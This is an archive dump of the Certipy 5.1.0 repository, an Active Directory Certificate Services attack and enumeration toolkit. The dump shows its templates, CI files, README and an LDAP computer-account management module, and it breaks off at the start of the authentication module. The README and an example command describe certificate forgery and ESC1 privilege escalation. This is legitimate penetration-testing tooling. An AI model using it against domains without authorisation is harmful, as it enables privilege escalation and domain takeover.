pax_global_header 0000666 0000000 0000000 00000000064 15216574665 0014533 g ustar 00root root 0000000 0000000 52 comment=e916eefe46f4e493d6bde3f0a7b4c42ea8384cde
Certipy-5.1.0/ 0000775 0000000 0000000 00000000000 15216574665 0013155 5 ustar 00root root 0000000 0000000 Certipy-5.1.0/.flake8 0000664 0000000 0000000 00000000145 15216574665 0014330 0 ustar 00root root 0000000 0000000 [flake8]
max-line-length = 88
; extend-ignore = E203, W503 # Ignore conflicts with black
select = N
Certipy-5.1.0/.github/ 0000775 0000000 0000000 00000000000 15216574665 0014515 5 ustar 00root root 0000000 0000000 Certipy-5.1.0/.github/FUNDING.yml 0000664 0000000 0000000 00000000016 15216574665 0016327 0 ustar 00root root 0000000 0000000 github: [ly4k] Certipy-5.1.0/.github/ISSUE_TEMPLATE/ 0000775 0000000 0000000 00000000000 15216574665 0016700 5 ustar 00root root 0000000 0000000 Certipy-5.1.0/.github/ISSUE_TEMPLATE/bug_report.yml 0000664 0000000 0000000 00000005632 15216574665 0021601 0 ustar 00root root 0000000 0000000 name: π Bug Report
description: Report an error, crash, or unexpected behavior in Certipy.
title: "[Bug] Brief summary of the issue"
labels: ["bug"]
body:
- type: markdown
attributes:
value: |
Thank you for reporting a bug! Please provide **as much information as possible** so we can reproduce and fix the issue quickly. Redact any sensitive data such as passwords, domains, or IPs.
- type: input
id: certipy_version
attributes:
label: π’ Certipy Version
description: What version of Certipy are you using? (Output of `certipy -v`)
placeholder: e.g., 5.0.0
validations:
required: true
- type: input
id: platform
attributes:
label: π₯οΈ Operating System
description: OS and environment you're using
placeholder: e.g., Kali Linux 2024.1, Windows 11, Ubuntu 22.04
validations:
required: true
- type: textarea
id: command_used
attributes:
label: π₯ Command Used
description: Include the full (but redacted) command that triggered the issue
render: shell
placeholder: |
Example:
certipy req -u user@redacted.local -p 'REDACTED' -ca CORP-CA -template ESC1 -upn admin@redacted.local
validations:
required: true
- type: textarea
id: error_output
attributes:
label: π§― Error Message / Unexpected Output
description: Paste any output, error messages, or tracebacks (redacted if needed)
render: text
placeholder: |
Example:
Traceback (most recent call last):
File "...", line ...
Exception: Unable to authenticate...
validations:
required: true
- type: textarea
id: find_output
attributes:
label: π Relevant `certipy find` Output (abbreviated and redacted)
description: If this bug is related to vulnerability detection or escalation, please include redacted highlights from `certipy find`.
render: text
placeholder: |
Certificate Authorities
0
CA Name : CORP-CA
DNS Name : CA.CORP.LOCAL
Certificate Subject : CN=CORP-CA, DC=CORP, DC=LOCAL
Request Disposition : Issue
...
Certificate Templates
0
Template Name : ESC1
Display Name : ESC1
Certificate Authorities : CORP-CA
Enabled : True
Client Authentication : True
...
- type: textarea
id: expected_behavior
attributes:
label: β
Expected Behavior
description: What did you expect to happen instead?
- type: textarea
id: notes
attributes:
label: π Additional Context
description: Environment notes, recent updates, workarounds attempted, etc.
Certipy-5.1.0/.github/ISSUE_TEMPLATE/config.yml 0000664 0000000 0000000 00000001565 15216574665 0020677 0 ustar 00root root 0000000 0000000 blank_issues_enabled: false
contact_links:
- name: π Certipy Wiki
url: https://github.com/ly4k/Certipy/wiki
about: Full documentation for usage, ESCs, and AD CS attack paths.
- name: π£οΈ Certipy Discussions
url: https://github.com/ly4k/Certipy/discussions
about: Ask questions, share ideas, and discuss Certipy with the community.
issue_templates:
- name: π Bug Report
description: Report an error, crash, or unexpected behavior in Certipy.
labels: ["bug", "triage"]
file: bug_report.yml
- name: π Help / Usage Question
description: Ask for help with setup, usage, or general questions about Certipy or AD CS attacks.
labels: ["help wanted"]
file: help_request.yml
- name: β¨ Feature Request
description: Suggest a new feature or improvement to Certipy.
labels: ["enhancement"]
file: feature_request.yml
Certipy-5.1.0/.github/ISSUE_TEMPLATE/feature_request.yml 0000664 0000000 0000000 00000003372 15216574665 0022633 0 ustar 00root root 0000000 0000000 name: β¨ Feature Request
description: Suggest a new feature, enhancement, or quality-of-life improvement for Certipy.
title: "[Feature] Brief description of the feature"
labels: ["enhancement"]
body:
- type: markdown
attributes:
value: |
Thank you for suggesting a new feature for Certipy! Please describe your idea clearly so it can be evaluated and discussed by the community.
- type: textarea
id: feature_description
attributes:
label: β¨ Feature Description
description: What would you like Certipy to do that it doesn't currently do?
placeholder: |
Example:
I'd like Certipy to be able to extract EKUs directly from a PFX file and show them clearly when listing issued certs.
validations:
required: true
- type: textarea
id: motivation
attributes:
label: π Why is this feature important?
description: How would this feature improve your workflow or Certipy's usefulness?
placeholder: |
- Saves time during post-exploitation enumeration
- Avoids needing to decode certs manually with OpenSSL or other tools
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: π Alternatives or Workarounds
description: Are there other ways you're currently achieving this, or related tools that already do it?
placeholder: |
- Right now I'm exporting the cert with OpenSSL and parsing it manually.
- type: textarea
id: additional_context
attributes:
label: π Additional Context or Mockups
description: Include examples, CLI suggestions, related issues, or rough pseudocode if helpful.
placeholder: |
Suggested CLI:
certipy show -pfx mycert.pfx
Certipy-5.1.0/.github/ISSUE_TEMPLATE/help_request.yml 0000664 0000000 0000000 00000005707 15216574665 0022134 0 ustar 00root root 0000000 0000000 name: π General Help / Usage Question
description: Ask for help with Certipy usage, understanding output, setup issues, or general AD CS abuse questions.
title: "[Help] Describe your question or topic"
labels: ["help wanted"]
body:
- type: markdown
attributes:
value: |
Thanks for reaching out! This template is for **general usage questions**, troubleshooting help, and clarification requests.
> Please redact any sensitive information like domain names, IPs, usernames, or passwords.
- type: input
id: certipy_version
attributes:
label: π’ Certipy Version
description: What version of Certipy are you using? (Output of `certipy -v`)
placeholder: e.g., 5.0.0
- type: input
id: platform
attributes:
label: π₯οΈ Operating System
description: What platform or environment are you using Certipy on?
placeholder: e.g., Kali Linux, Windows 11, Ubuntu 22.04
- type: textarea
id: question_summary
attributes:
label: β Question / Problem Summary
description: What are you trying to understand, figure out, or solve?
placeholder: |
Example:
I'm confused about how SANs affect authentication in AD CS.
When would you use `-upn` vs. `-dns` in a request?
validations:
required: true
- type: textarea
id: context
attributes:
label: π§ Background / What You've Tried
description: Share any relevant context, what you've already attempted, and where you're stuck.
placeholder: |
- I've read the wiki and ESC1 makes sense, but I'm unclear on how ESC9 interacts with SID extensions.
- I'm using the default AD CS config in a test lab with a single CA.
- type: textarea
id: find_output
attributes:
label: π Relevant `certipy find` Output (abbreviated and redacted)
description: If this bug is related to vulnerability detection or escalation, please include redacted highlights from `certipy find`.
render: text
placeholder: |
Certificate Authorities
0
CA Name : CORP-CA
DNS Name : CA.CORP.LOCAL
Certificate Subject : CN=CORP-CA, DC=CORP, DC=LOCAL
Request Disposition : Issue
...
Certificate Templates
0
Template Name : ESC1
Display Name : ESC1
Certificate Authorities : CORP-CA
Enabled : True
Client Authentication : True
...
- type: textarea
id: other_notes
attributes:
label: π Other Notes or Related Tools
description: Anything else that might help us understand your environment or question better?
placeholder: |
- Using Kerberos-only auth in the lab.
- CA is patched as of March 2025.
Certipy-5.1.0/.github/workflows/ 0000775 0000000 0000000 00000000000 15216574665 0016552 5 ustar 00root root 0000000 0000000 Certipy-5.1.0/.github/workflows/code-quality.yml 0000664 0000000 0000000 00000002365 15216574665 0021703 0 ustar 00root root 0000000 0000000 name: Code Quality Check
on:
pull_request:
branches:
- main
push:
branches:
- main
jobs:
lint:
name: Lint & Type Check
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.12'
- name: Install Python dependencies
run: |
python -m pip install --upgrade pip
pip install black isort pyright flake8 pep8-naming
- name: Install Certipy
run: |
pip install -e .[bloodhound]
- name: Lint with flake8 (style and naming)
run: |
flake8 ./certipy || (echo 'flake8 found issues. Run it locally with `flake8 .`' && exit 1)
- name: Check import order with isort (black-compatible)
run: |
isort . --check-only || (echo 'isort found issues. Run `isort .` to fix.' && exit 1)
- name: Check formatting with black
run: |
black . --check || (echo 'black found formatting issues. Run `black .` to fix.' && exit 1)
- name: Type check with pyright
run: |
pyright . || (echo 'pyright found type issues. Run `pyright .` to fix.' && exit 1)
Certipy-5.1.0/.github/workflows/python-publish.yml 0000664 0000000 0000000 00000001315 15216574665 0022262 0 ustar 00root root 0000000 0000000 name: Publish to PyPI
on:
release:
types: [published]
workflow_dispatch: # Allow manual trigger
jobs:
build-and-publish:
name: Build and Publish
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install build dependencies
run: |
python -m pip install --upgrade pip
pip install build
- name: Build package
run: python -m build
- name: Publish to PyPI
uses: pypa/gh-action-pypi-publish@release/v1
with:
password: ${{ secrets.PYPI_API_TOKEN }}
Certipy-5.1.0/.github/workflows/release.yml 0000664 0000000 0000000 00000003674 15216574665 0020727 0 ustar 00root root 0000000 0000000 name: Build and Release Executable
on:
release:
types: [created]
workflow_dispatch: # Allows manual triggering
jobs:
build:
runs-on: windows-latest # Use a Windows runner to build the .exe
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.12' # Match the python version from your pyproject.toml
- name: Install dependencies
run: |
python -m pip install --upgrade pip
pip install pyinstaller wheel
pip install -e . # Install project dependencies from pyproject.toml in editable mode
- name: Build executable with PyInstaller
run: pyinstaller.exe .\\Certipy.spec --noconfirm
- name: Get Release Upload URL
id: get_release_info
uses: actions/github-script@v7
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
script: |
// If the trigger is a new release, use its upload URL
if (context.eventName === 'release') {
core.setOutput('upload_url', context.payload.release.upload_url);
return;
}
// If triggered manually, find the latest release
const { data: release } = await github.rest.repos.getLatestRelease({
owner: context.repo.owner,
repo: context.repo.repo
});
if (release) {
core.setOutput('upload_url', release.upload_url);
} else {
core.setFailed('Could not find the latest release to attach the asset to.');
}
- name: Upload Release Asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.get_release_info.outputs.upload_url }}
asset_path: .\\dist\\Certipy.exe
asset_name: Certipy.exe
asset_content_type: application/vnd.microsoft.portable-executable Certipy-5.1.0/.github/workflows/sponsors.yml 0000664 0000000 0000000 00000000624 15216574665 0021165 0 ustar 00root root 0000000 0000000 name: Update Sponsors
on:
workflow_dispatch:
schedule:
- cron: "0 0 * * *" # runs daily at midnight UTC
permissions:
contents: write
jobs:
update-sponsors:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: JamesIves/github-sponsors-readme-action@v1
with:
token: ${{ secrets.PAT }}
- uses: stefanzweifel/git-auto-commit-action@v5 Certipy-5.1.0/.github/workflows/stale.yml 0000664 0000000 0000000 00000001433 15216574665 0020406 0 ustar 00root root 0000000 0000000 name: Close stale issues
on:
schedule:
- cron: "0 2 * * *" # Runs every day at 2 AM UTC
workflow_dispatch: # Allow manual trigger
jobs:
stale:
runs-on: ubuntu-latest
steps:
- uses: actions/stale@v9
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
stale-issue-message: "This issue has been automatically marked as stale due to inactivity. It will be closed in 7 days if no further activity occurs."
close-issue-message: "Closing this issue due to prolonged inactivity."
days-before-stale: 30
days-before-close: 7
any-of-labels: help wanted,not planned,wontfix,duplicate,invalid,out of scope,discussion needed,cannot reproduce,needs more info,not a bug
exempt-issue-labels: pinned,keep open
Certipy-5.1.0/.gitignore 0000664 0000000 0000000 00000005351 15216574665 0015151 0 ustar 00root root 0000000 0000000 # Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/
# PyCharm
# JetBrains specific template is maintainted in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/
testing/
*_Certipy.*
*.pfx
*.pem
*.ccache Certipy-5.1.0/CONTRIBUTING.md 0000664 0000000 0000000 00000005210 15216574665 0015404 0 ustar 00root root 0000000 0000000 # π€ Contributing to Certipy
Thank you for your interest in contributing to **Certipy**! Whether you're reporting a bug, improving documentation, or submitting a pull request - your help is appreciated.
---
## π Issues
Please use the appropriate issue template when opening a new issue:
- π **Bug Reports**: Include the version, OS, the exact command used (redacted if needed), error output, and any relevant `certipy find` info.
- π **Help Requests**: For general questions or clarification on usage, not tied to a specific error.
- β¨ **Feature Requests**: Describe the feature, your use case, and any alternatives or examples.
π Issue templates will guide you when you [open an issue](https://github.com/ly4k/Certipy/issues/new/choose).
---
## π§βπ» Code Contributions
### π§Ό Code Style
Certipy uses:
- [`black`](https://black.readthedocs.io/) for code formatting
- [`isort`](https://pycqa.github.io/isort/) for import sorting (configured for black compatibility)
- [`pyright`](https://github.com/microsoft/pyright) for type checking
- [`flake8`](https://flake8.pycqa.org/en/latest/) for linting
### π Development Setup
```bash
# Setup virtual environment
python3 -m venv venv
source venv/bin/activate
# Install dev dependencies
pip install -e .
pip install black isort pyright flake8 pep8-naming
````
### π Code Quality Checks (before committing)
```bash
flake8 ./certipy && isort . && black . && pyright
```
---
## β
Submitting Pull Requests
1. Fork the repo and create a branch:
`git checkout -b feature/my-feature-name`
2. Follow the coding standards above
3. Keep PRs small and focused
4. Include a brief description of **why** the change is useful
5. Link to any relevant issues (e.g., `Fixes #123`)
6. Run tests (if applicable)
7. Explain how to test the changes, setting up the environment, and any dependencies
8. Submit your PR for review!
---
## π Contributing to the Wiki
You can help improve the documentation! To do so:
- Clone the wiki repo directly:
```bash
git clone https://github.com/ly4k/Certipy.wiki.git
```
- Make your changes in `*.md` files (e.g., `ESC1.md`, `Home.md`)
- Submit a pull request or send a patch if you're not a collaborator
- Use Markdown preview tools (like VSCode or `grip`) to review your changes
> [!TIP]
> For private drafts, maintain a local folder or branch and sync it later to the public `.wiki.git`.
---
## π¬ Need Help?
Feel free to open a [Help Request](https://github.com/ly4k/Certipy/issues/new/choose) - just be clear about what youβre trying to accomplish and what youβve tried.
---
Thanks again for supporting Certipy!
β [@ly4k](https://github.com/ly4k)
Certipy-5.1.0/Certipy.spec 0000664 0000000 0000000 00000003233 15216574665 0015451 0 ustar 00root root 0000000 0000000 # -*- mode: python ; coding: utf-8 -*-
from PyInstaller.utils.hooks import collect_all
block_cipher = None
# --- List all dependencies from pyproject.toml ---
packages_to_collect = [
'certipy',
'asn1crypto',
'cryptography',
'impacket',
'ldap3',
'pyasn1',
'dnspython',
'requests',
'pycryptodome',
'beautifulsoup4',
'httpx',
'argcomplete',
]
# --- Use collect_all to find all necessary files and imports for each package ---
datas, binaries, hiddenimports = [], [], []
for package in packages_to_collect:
try:
pkg_datas, pkg_binaries, pkg_hiddenimports = collect_all(package)
datas.extend(pkg_datas)
binaries.extend(pkg_binaries)
hiddenimports.extend(pkg_hiddenimports)
except Exception as e:
print(f"Could not collect all from {package}: {e}")
a = Analysis(
['certipy\\entry.py'],
pathex=[],
binaries=binaries,
datas=datas,
hiddenimports=hiddenimports,
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False,
)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
exe = EXE(
pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
[],
name='Certipy',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
upx_exclude=[],
runtime_tmpdir=None,
console=True,
disable_windowed_traceback=False,
argv_emulation=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
)
Certipy-5.1.0/LICENSE 0000664 0000000 0000000 00000002045 15216574665 0014163 0 ustar 00root root 0000000 0000000 MIT License
Copyright (c) 2021 ly4k
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Certipy-5.1.0/README.md 0000664 0000000 0000000 00000006036 15216574665 0014441 0 ustar 00root root 0000000 0000000 # Certipy - AD CS Attack & Enumeration Toolkit
[](https://pypi.org/project/certipy-ad/)


**Certipy** is a powerful offensive and defensive toolkit for enumerating and abusing Active Directory Certificate Services (AD CS). It helps red teamers, penetration testers, and defenders assess AD CS misconfigurations - including full support for identifying and exploiting all known **ESC1-ESC16** attack paths.
> [!WARNING]
> Use only in environments where you have explicit authorization. Unauthorized use may be illegal.
---
## π Features
* π Discover Certificate Authorities and Templates
* π© Identify misconfigurations
* π Request and forge certificates
* π Perform authentication using certificates
* π‘ Relay NTLM authentication to AD CS HTTP(S)/RPC endpoints
* ποΈ Support for Shadow Credentials, Golden Certificates, and Certificate Mapping Attacks
* π§° And much more!
---
## π Full Wiki & Documentation
Read the full **step-by-step usage guide**, including installation, vulnerability explanations, examples, and mitigations in the [π Certipy Wiki](https://github.com/ly4k/Certipy/wiki).
---
## βοΈ Installation
See the [Installation Guide](https://github.com/ly4k/Certipy/wiki/04-%E2%80%90-Installation) for instructions on how to install Certipy.
---
## π Quick Start
See the [Quick Start Guide](https://github.com/ly4k/Certipy/wiki/05-%E2%80%90-Usage) for a quick overview of the most common commands and usage examples.
---
## π― Supported AD CS Vulnerabilities
Certipy supports detection and exploitation of AD CS vulnerabilities across the full range of ESC1-ESC16.
For detailed explanations and exploitation steps, refer to the [Certipy Wiki](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation).
---
## π Resources
See the [Resources](https://github.com/ly4k/Certipy/wiki/03-%E2%80%90-Resources) for selection of key resources related to AD CS security.
---
## π€ Contributing
Contributions are welcome! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on reporting issues, improving documentation, or submitting pull requests.
---
## π Sponsors
Thanks to these generous sponsors for supporting the development of this project. Your contributions help sustain ongoing work and improvements.

---
## π€ Author
Developed by [@ly4k](https://github.com/ly4k), with valuable contributions from the community.
---
## π Wiki
π Visit the [**Certipy Wiki**](https://github.com/ly4k/Certipy/wiki) for detailed documentation, usage examples, ESC vulnerability breakdowns, and mitigation advice.
Certipy-5.1.0/certipy/ 0000775 0000000 0000000 00000000000 15216574665 0014634 5 ustar 00root root 0000000 0000000 Certipy-5.1.0/certipy/__init__.py 0000664 0000000 0000000 00000000000 15216574665 0016733 0 ustar 00root root 0000000 0000000 Certipy-5.1.0/certipy/commands/ 0000775 0000000 0000000 00000000000 15216574665 0016435 5 ustar 00root root 0000000 0000000 Certipy-5.1.0/certipy/commands/__init__.py 0000664 0000000 0000000 00000000000 15216574665 0020534 0 ustar 00root root 0000000 0000000 Certipy-5.1.0/certipy/commands/account.py 0000775 0000000 0000000 00000032221 15216574665 0020446 0 ustar 00root root 0000000 0000000 """
Active Directory Account Management Module for Certipy.
This module provides CRUD (Create, Read, Update, Delete) operations for Active Directory accounts,
primarily focusing on computer accounts. It allows:
- Creating new computer accounts
- Reading account attributes
- Updating account properties (password, SPNs, DNS names, etc.)
- Deleting accounts
These operations are performed via LDAP and require appropriate permissions in the domain.
"""
import argparse
import random
import string
from typing import Any, Dict, List, Optional, Tuple
import ldap3
from ldap3.core.results import (
RESULT_INSUFFICIENT_ACCESS_RIGHTS,
RESULT_UNWILLING_TO_PERFORM,
)
from certipy.lib.formatting import pretty_print
from certipy.lib.ldap import LDAPConnection
from certipy.lib.logger import logging
from certipy.lib.target import Target
class Account:
"""
Active Directory account management class.
This class provides methods to create, read, update, and delete Active Directory accounts,
with a focus on computer accounts which can be used for various authentication scenarios.
"""
def __init__(
self,
target: Target,
user: str,
dns: Optional[str] = None,
upn: Optional[str] = None,
sam: Optional[str] = None,
spns: Optional[str] = None,
passw: Optional[str] = None,
group: Optional[str] = None,
connection: Optional[LDAPConnection] = None,
timeout: int = 5,
**kwargs, # type: ignore
):
"""
Initialize account management with target and account options.
Args:
target: Target environment information (domain, credentials)
user: Username for the account to manage
dns: DNS hostname for the account
upn: UserPrincipalName to set
sam: sAMAccountName to set
spns: Service Principal Names to set (comma-separated)
passw: Password for the account
group: Distinguished name of the group to place the account in
scheme: LDAP connection scheme (ldap or ldaps)
connection: Existing LDAP connection to reuse
timeout: Connection timeout in seconds
**kwargs: Additional arguments
"""
self.target = target
self.user = user
self.dns = dns
self.upn = upn
self.sam = sam
self.spns = spns
self.password = passw
self.group = group
self._connection = connection
self.timeout = timeout
self.kwargs = kwargs
@property
def connection(self) -> LDAPConnection:
"""
Get or establish an LDAP connection to the target.
Returns:
Active LDAP connection
"""
if self._connection is not None:
return self._connection
self._connection = LDAPConnection(self.target)
self._connection.connect()
return self._connection
def create(self) -> bool:
"""
Create a new computer account in Active Directory.
This method creates a computer account with the specified properties,
or with reasonable defaults if not provided.
Returns:
True if account creation succeeded, False otherwise
"""
# Determine username (sAMAccountName)
username = self.user
if self.sam is not None:
logging.warning(
"The parameter -sam overrides the -user parameter for the create operation"
)
res = input("Do you want to continue? (Y/n): ")
if res.strip().lower() == "n":
return False
username = self.sam
# Check if user already exists
user = self.connection.get_user(username, silent=True)
if user is not None:
logging.error(
f"User {user.get('sAMAccountName')!r} already exists. "
f"If you want to update the user, specify the 'update' action"
)
return False
# Set container group for the account
group = self.group
if group is None:
group = f"CN=Computers,{self.connection.default_path}"
# Ensure computer account name ends with $
if username[-1] != "$":
username += "$"
# Generate random password if not provided
password = self.password
if password is None:
password = "".join(
random.choice(string.ascii_letters + string.digits) for _ in range(16)
)
self.password = password
# Set DNS hostname if not provided
dns = self.dns
if dns is None:
dns = f"{username.rstrip('$')}.{self.connection.domain}".lower()
# Create DN for the new account
hostname = username[:-1]
dn = f"CN={hostname},{group}"
# Set default SPNs if not provided
spns = self.spns
if spns is None:
base_name = username.rstrip("$")
spns = [
f"HOST/{base_name}",
f"RestrictedKrbHost/{base_name}",
]
else:
spns = [spn.strip() for spn in spns.split(",") if spn.strip()]
# Prepare account attributes
attributes: Dict[str, Any] = {
"sAMAccountName": username,
"unicodePwd": password, # Just for the pretty print
"userAccountControl": 0x1000, # WORKSTATION_TRUST_ACCOUNT
"servicePrincipalName": spns,
"dnsHostName": dns,
}
logging.info("Creating new account:")
pretty_print(attributes, indent=2)
# Convert password to proper format for LDAP
attributes["unicodePwd"] = ('"%s"' % password).encode("utf-16-le")
# Add the account via LDAP
result = self.connection.add(
dn,
["top", "person", "organizationalPerson", "user", "computer"],
attributes,
)
# Handle result
if result["result"] == 0:
logging.info(
f"Successfully created account {username!r} with password {password!r}"
)
return True
elif result["result"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS:
logging.error(
f"User {self.target.username!r} doesn't have the right to create a machine account"
)
elif (
result["result"] == RESULT_UNWILLING_TO_PERFORM
and int(result["message"].split(":")[0].strip(), 16) == 0x216D
):
logging.error(
f"Machine account quota exceeded for {self.target.username!r}"
)
else:
logging.error(
f"Received error: ({result['description']}) {result['message']}"
)
return False
def read(self) -> bool:
"""
Read and display account attributes.
This method retrieves and displays key attributes of the specified account.
Returns:
True if account was found and attributes read, False otherwise
"""
# Get user object
user = self.connection.get_user(self.user)
if user is None:
return False
# Define attributes to display
attributes = [
"cn",
"distinguishedName",
"name",
"objectSid",
"sAMAccountName",
"dNSHostName",
"servicePrincipalName",
"userPrincipalName",
"userAccountControl",
"whenCreated",
"whenChanged",
]
# Collect attribute values
attribute_values = {}
logging.info(f"Reading attributes for {user.get('sAMAccountName')!r}:")
for attribute in attributes:
value = user.get(attribute)
if value is not None:
attribute_values[attribute] = value
# Display attributes
pretty_print(attribute_values, indent=2)
return True
def update(self) -> bool:
"""
Update an existing account's attributes.
This method modifies specified attributes of an existing account.
Returns:
True if account was successfully updated, False otherwise
"""
# Get user object
user = self.connection.get_user(self.user)
if user is None:
return False
# Prepare attribute changes
changes: Dict[str, List[Tuple[Any, Any]]] = {}
changes_formatted: Dict[str, Any] = {}
# Define which attributes to update based on provided parameters
attribute_mapping = {
"unicodePwd": self.password,
"dNSHostName": self.dns,
"userPrincipalName": self.upn,
"sAMAccountName": self.sam,
"servicePrincipalName": (
[spn.strip() for spn in self.spns.split(",") if spn.strip()]
if self.spns is not None
else None
),
}
# Process each attribute that needs to be updated
for attribute, value in attribute_mapping.items():
if value is None:
continue
if value == "" or (isinstance(value, list) and len(value) == 0):
# Delete the attribute
changes[attribute] = [(ldap3.MODIFY_DELETE, [])]
changes_formatted[attribute] = "*DELETED*"
else:
# Replace the attribute with new value
if attribute == "unicodePwd":
# Special handling for password
encoded_value = ('"%s"' % value).encode("utf-16-le")
changes_formatted[attribute] = value # Show plaintext in output
else:
if isinstance(value, list):
encoded_value = value
else:
encoded_value = [value] # LDAP expects lists for attributes
changes_formatted[attribute] = value
changes[attribute] = [(ldap3.MODIFY_REPLACE, encoded_value)]
if not changes:
logging.warning(f"No changes specified for {user.get('sAMAccountName')!r}")
return False
logging.info(f"Updating user {user.get('sAMAccountName')!r}:")
pretty_print(changes_formatted, indent=2)
# Apply changes via LDAP
result = self.connection.modify(
user.get("distinguishedName"),
changes,
)
# Handle result
if result["result"] == 0:
logging.info(f"Successfully updated {user.get('sAMAccountName')!r}")
return True
elif result["result"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS:
logging.error(
f"User {self.target.username!r} doesn't have permission to update "
f"these attributes on {user.get('sAMAccountName')!r}"
)
else:
logging.error(f"Received error: {result['message']}")
return False
def delete(self) -> bool:
"""
Delete an account from Active Directory.
This method permanently removes the specified account.
Returns:
True if account was successfully deleted, False otherwise
"""
# Get user object
user = self.connection.get_user(self.user)
if user is None:
return False
# Confirm deletion
account_name = user.get("sAMAccountName")
logging.warning(f"You are about to delete {account_name!r}")
res = input("Are you sure? (y/N): ")
if res.strip().lower() != "y":
logging.info("Deletion canceled")
return False
# Delete account via LDAP
result = self.connection.delete(user.get("distinguishedName"))
# Handle result
if result["result"] == 0:
logging.info(f"Successfully deleted {account_name!r}")
return True
elif result["result"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS:
logging.error(
f"User {self.target.username!r} doesn't have permission to delete {account_name!r}"
)
else:
logging.error(f"Received error: {result['message']}")
return False
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the 'account' command.
This function creates the Account object and dispatches to the appropriate method
based on the specified action.
Args:
options: Command line options
"""
# Create target from command line options
target = Target.from_options(options, dc_as_target=True)
options.__delattr__("target")
# Create account manager
account = Account(target, **vars(options))
# Map actions to methods
actions = {
"create": account.create,
"read": account.read,
"update": account.update,
"delete": account.delete,
}
# Validate action
if options.account_action not in actions:
logging.error(f"Unknown action: {options.account_action}")
logging.info(f"Available actions: {', '.join(actions.keys())}")
return
# Execute the requested action
result = actions[options.account_action]()
# Set exit code based on result
if result is False:
import sys
sys.exit(1)
Certipy-5.1.0/certipy/commands/auth.py 0000775 0000000 0000000 00000102673 15216574665 0017764 0 ustar 00root root 0000000 0000000 """
Kerberos PKINIT and Schannel Authentication Module for Certipy.
This module provides functionality for certificate-based Kerberos authentication:
- PKINIT authentication using certificates
- NT hash extraction via Kerberos U2U
